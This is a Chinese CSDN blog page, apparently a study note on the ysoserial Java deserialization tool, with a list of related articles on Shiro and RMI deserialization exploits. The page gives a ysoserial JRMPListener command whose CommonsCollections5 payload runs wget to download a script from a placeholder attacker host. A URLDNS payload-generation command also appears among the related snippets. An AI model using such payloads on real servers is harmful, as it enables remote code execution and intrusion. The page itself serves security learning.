ysoserial的代码学习

最新推荐文章于 2024-04-10 00:29:44 发布
最新推荐文章于 2024-04-10 00:29:44 发布
阅读量615 收藏 1
点赞数 1
分类专栏： 安全工具开发 文章标签： ysoserial Java反序列化
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_38376348/article/details/108292771
版权

反序列化漏洞利用神器：ysoserial

0x01 ysoserial 工具模块

我们以为shiro远程加载反序列化数据的利用场景为例：

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345  CommonsCollections5 'wget http://xxx.xxx.xxx.xxx:8080/1.sh -O test'

其中-cp指定了类路径为：

ysoserial.exploit.JRMPListener

打开ysoserial.exploit.JRMPListener，找到主函数：

其中 ObjectPayload.Utils.makePayloadObject方法具体实现：

 

Adsatrtgo
关注
  • 1
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
Java RMI Registry 反序列化漏洞
锋刃科技的博客
01-30 1607
漏洞概述 Java Remote Method Invocation 用于在Java中进行远程调用。RMI存在远程bind的功能(虽然大多数情况不允许远程bind)，在bind过程中，伪造Registry接收到的序列化数据(实现了Remote接口或动态代理了实现了Remote接口的对象)，使Registry在对数据进行反序列化时触发相应的利用链(环境用的是commons-collections:3.2.1). 影响版本 <=jdk8u111 环境搭建 这里使用...
ysoserial-0.0.6-SNAPSHOT-all.jar
12-19
ysoserial-0.0.6 也可自行下载编译 提供个下载链接：https://jitpack.io/com/github/frohoff/ysoserial/master-v0.0.5-gb617b7b-16/ysoserial-master-v0.0.5-gb617b7b-16.jar
Java反序列化之ysoserial URLDNS模块分析，2024年最新大佬推荐
最新发布
2401_83620865的博客
04-10 760
如果你已经下定决心要转行做编程行业，在最开始的时候就要对自己的学习有一个基本的规划，还要对这个行业的技术需求有一个基本的了解。有一个已就业为目的的学习目标，然后为之努力，坚持到底。如果你有幸看到这篇文章，希望对你有所帮助，祝你转行成功。一个人可以走的很快，但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎扫码加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！
Apache Shiro Java反序列化漏洞（CVE-2016-4437）
qq_45300786的博客
12-25 683
我只是个无情的挂马机器，原理相信百度一大把，我就不赘述了 0x00 环境要求 靶机：192.168.100.23 攻击机：192.168.100.34 0x01 环境搭建 这里使用docker进行环境搭建： 下载 git clone https://github.com/Medicean/VulApps/tree/master/s/shiro/1 1.拉取环境到本地 $ docker pull medicean/vulapps:s_shiro_1 2.启动环境 $ docker run -d -p 8080
红队专题-反序列化攻击-Tools-Ysoserial
aming小老弟
01-12 667
利用方式Ysoserial.Net 来⽣成反序列化 payload，再通过调⽤远程⽅法来触发反序列化，实现任意代码执⾏，从⽽导致服务器被接管。payload 举例。
ysoserial.jar
12-16
ysoserial 是安全测试 playload 生成工具
ysoserial-0.0.6
02-11
ysoserial-0.0.6
ysoserial下载
12-26
java反序列化漏洞检测工具，可以自动生成playload,测试用的 有需要的同学拿去用
ysoserial-0.0.2
12-25
weblogic反序列化漏洞 测试用的 有需要的同学拿去用
Java反序列化漏洞（ysoserial工具使用、shiro反序列化利用）
qq_50854662的博客
05-26 1760
Java反序列化漏洞（ysoserial工具使用、shiro反序列化利用）
java url dns_Yso中的URLDNS分析学习
weixin_34582773的博客
02-16 432
作为 ysoserial 中最简单链,这里简单记录学习一下首先使用ysoserial生成urldns的探测类型首先先去 dnslog.cn 获取一个urljava -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://pk3q64.dnslog.cn" > Test.txt查看生成的文件Java反序列化后的前几个字节就是 ac ed这...
java 漏洞复现_Apache Shiro java反序列化漏洞复现
weixin_42526484的博客
03-02 165
Apache Shiro java反序列化漏洞复现 影响版本Apache Shiro <= 1.2.4环境搭建准备环境攻击机: Windows或者Linux (我用的是windows10 1903)、ysoserial-0.0.6-SNAPSHOT-all.jar、python环境、Java环境**靶机:**带docker的Linux就行靶机环境搭建获取docker镜像docker pull...
Apache Shiro Java反序列化漏洞分析
2301_77512689的博客
04-25 411
最终利用ysoserial的CommonsBeanutils1命令执行。虽然在ysoserial里CommonsBeanutils1类的版本为1.9.2，不过上面环境测试确实可以命令执行。这里当时有一个问题是：如何获取Java里引用组件的版本？大多数的时候，我们只要解析pom.xml就能解析出相应组件的版本。但有的情况下，并不能获取组件的版本。比如有的pom.xml并没有设置组件的version版本，没有设置version的情况，是由依赖决定。项目中依赖了A，A依赖了B，B的版本由A决定；
【BUGKU之ez_java_serialize】
qq_40646572的博客
04-12 5088
BUGKU之java反序列化练习
ysoserial安装
08-16
要安装 ysoserial，你可以按照以下步骤进行操作： 1. 首先，确保你已经安装了 Java Development Kit (JDK)。你可以在命令行中运行 `java -version` 来检查是否已经安装了 JDK。 2. 在你的操作系统上创建一个文件夹，用于存放 ysoserial 的代码和相关文件。 3. 打开终端或命令提示符，并进入到该文件夹。 4. 使用 Git 命令克隆 ysoserial 的代码库。运行以下命令： ``` git clone https://github.com/frohoff/ysoserial.git ``` 5. 进入 ysoserial 文件夹： ``` cd ysoserial ``` 6. 构建 ysoserial 的 JAR 文件。运行以下命令： ``` mvn clean package -DskipTests ``` 7. 构建完成后，在 `target` 文件夹下会生成一个名为 `ysoserial-[version].jar` 的 JAR 文件，其中 `[version]` 是 ysoserial 的版本号。 现在，你已经成功安装了 ysoserial。你可以使用该工具来生成各种常见的 Java 反序列化漏洞 payload。记得在使用 ysoserial 时要遵循良好的安全实践，并仅在合法的测试环境中使用。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值